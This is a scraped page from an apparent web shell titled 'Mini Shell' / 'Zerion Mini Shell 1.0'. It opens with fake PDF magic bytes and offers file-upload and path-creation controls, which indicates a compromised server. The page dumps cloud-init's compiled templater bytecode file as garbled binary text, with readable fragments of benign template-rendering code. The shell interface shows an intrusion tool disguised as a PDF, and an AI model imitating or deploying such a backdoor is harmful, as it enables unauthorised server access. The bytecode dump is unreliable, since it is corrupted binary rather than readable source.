%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core22/current/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Create Path :
Current File : //snap/core22/current/lib/python3/dist-packages/cloudinit/__pycache__/templater.cpython-310.pyc

o

Ӈg6�	@s>UddlZddlZddlZddlZddlmZddlmZddlm	Z	ddlm
ZddlmZddl
mZeed<zdd	lmZdd
lmZdZeZWneefyZdZeZYnwe�e�Ze�d
ej�Ze�d�ZdZ Gdd�de�Z!Gdd�de�Z"e	�#d�dd��Z$dd�Z%dd�Z&d"dd�Z'dd�Z(d#d d!�Z)dS)$�N)�Any)�TemplateSyntaxError)�performance)�
type_utils)�util)�
write_file�
JUndefined)�DebugUndefined)�TemplateTFz##\s*template:(.*)z)\$\{([A-Za-z0-9_.]+)\}|\$([A-Za-z0-9_.]+)zCI_MISSING_JINJA_VAR/c
sTeZdZdeddf�fdd�Zdd�Ze	dd	ed
ededefdd
��ZdZ	�Z
S)�JinjaSyntaxParsingException�error�returnNcs*t��|jpd|j|j|j�|j|_dS)Nzunknown syntax error)�super�__init__�message�lineno�name�filename�source)�selfr��	__class__��5/usr/lib/python3/dist-packages/cloudinit/templater.pyr1s�z$JinjaSyntaxParsingException.__init__cCs(|j|j|j|j��|jd��d�S)�;Avoid jinja2.TemplateSyntaxError multi-line __str__ format.���syntax_error�line_number�line_content)�format_error_messagerrr�
splitlines�strip�rrrr�__str__=s
�z#JinjaSyntaxParsingException.__str__�rrrcCs$|rd|��nd}tjj|||d�S)rz: r%r)r�message_template�formatrrrrr Es�z0JinjaSyntaxParsingException.format_error_messagezfUnable to parse Jinja template due to syntax error: {syntax_error} on line {line_number}{line_content})r%)�__name__�
__module__�__qualname__rrr$�staticmethod�strr r&�
__classcell__rrrrr0s(�������
�rc@s eZdZdZdd�Zdd�ZdS)�UndefinedJinjaVariablez>Class used to represent any undefined jinja template variable.cCsdt|jfS)Nz%s%s)�MISSING_JINJA_PREFIX�_undefined_namer#rrrr$^szUndefinedJinjaVariable.__str__cCs$t|��td�}tdj|j|d���)Nr%zhUndefined jinja variable: "{this}-{other}". Jinja tried subtraction. Perhaps you meant "{this}_{other}"?)�this�other)r,�replacer/�	TypeErrorr'r0)rr2rrr�__sub__as��zUndefinedJinjaVariable.__sub__N)r(r)r*�__doc__r$r5rrrrr.[sr.zRendering basic templatecs�fdd�}t�||�S)z�This does simple replacement of bash variable like templates.

    It identifies patterns like ${a} or $a and can also identify patterns like
    ${a.b} or $a.b which will look for a key 'b' in the dictionary rooted
    by key 'a'.
    cs�|�d�}|dur|�d�}|durtd��t�|�d��}�}t|�dkrE|��}t|t�s;t	d|t
�|�|f��||}t|�dks&|��}t|t�sZt	d||t
�|�f��t||�S)N�rz,Match encountered but no valid group present�.zRCan not traverse into non-dictionary '%s' of type %s while looking for subkey '%s'z<Can not extract key '%s' from non-dictionary '%s' of type %s)
�group�RuntimeError�collections�deque�split�len�popleft�
isinstance�dictr4�tu�obj_namer,)�matchr�path�selected_params�key��paramsrr�replacerts2


���

��zbasic_render.<locals>.replacer)�
BASIC_MATCHER�sub)�contentrIrJrrHr�basic_renderks	rNcCs�dd�}|�d�dkr|�dd�\}}n|}d}t�|�}|s$dt|fS|�d�����}|dvr7td	|��|d
krGt	sGt
�d�dt|fS|d
krRt	rRd
||fSdt|fS)Nc
Ss�|�d�rdnd}z+t�d��t|tddgd�jd	i|��|	Wd�WS1s-wYWdStyM}z
|jd7_t|d�|�d}~wt	y[}z||�d}~ww)
N�
r%zRendering jinja2 templateTz
jinja2.ext.do)�	undefined�trim_blocks�
extensionsr7)rr)
�endswithr�Timed�	JTemplater.�renderrrr�	Exception)rMrI�add�template_syntax_error�
unknown_errorrrr�jinja_render�s:�����(�
�����z%detect_template.<locals>.jinja_renderrO���r7r%�basic)�jinjar]z.Unknown template rendering type '%s' requestedr^zcJinja not available as the selected renderer for desired template, reverting to the basic renderer.)�findr=�TYPE_MATCHERrDrNr9�lowerr"�
ValueError�JINJA_AVAILABLE�LOG�warning)�textr[�ident�rest�
type_match�
template_typerrr�detect_template�s.

���


rkcCs4|si}tt�|��\}}}t�d||�|||�S)Nz+Rendering content of '%s' using renderer %s)rkr�load_text_filerd�debug)�fnrIrj�rendererrMrrr�render_from_file�s

rp�cCst||�}tj|||d�dS)N)�mode)rprr)rn�outfnrIrr�contentsrrr�render_to_file�s
rucCs |si}t|�\}}}|||�S)z
Render string)rk)rMrI�_template_typerorrr�
render_string�s
rwcCsrt�|�}||d�}t||���d}|r$tj|dd�}|s$td|��|dkr0tj�|�dSt	||dd�dS)	N)�variant�prefixrOT)�defaultz.Cannot render template file %s - invalid yaml.�-�w)�omode)
rrlrw�rstrip�	load_yamlr:�sys�stdout�writer)rx�template�output�is_yamlryrt�
tpl_params�outrrr�render_template�s

�r�)rq)N)*r;�logging�rer��typingr�jinja2r�	cloudinitrrrBr�cloudinit.atomic_helperr�__annotations__r	�_DebugUndefinedr
rUrcr�ImportError�AttributeError�object�	getLoggerr(rd�compile�Ir`rKr/rr.�timedrNrkrprurwr�rrrr�<module>sB
�

+
&2


Zerion Mini Shell 1.0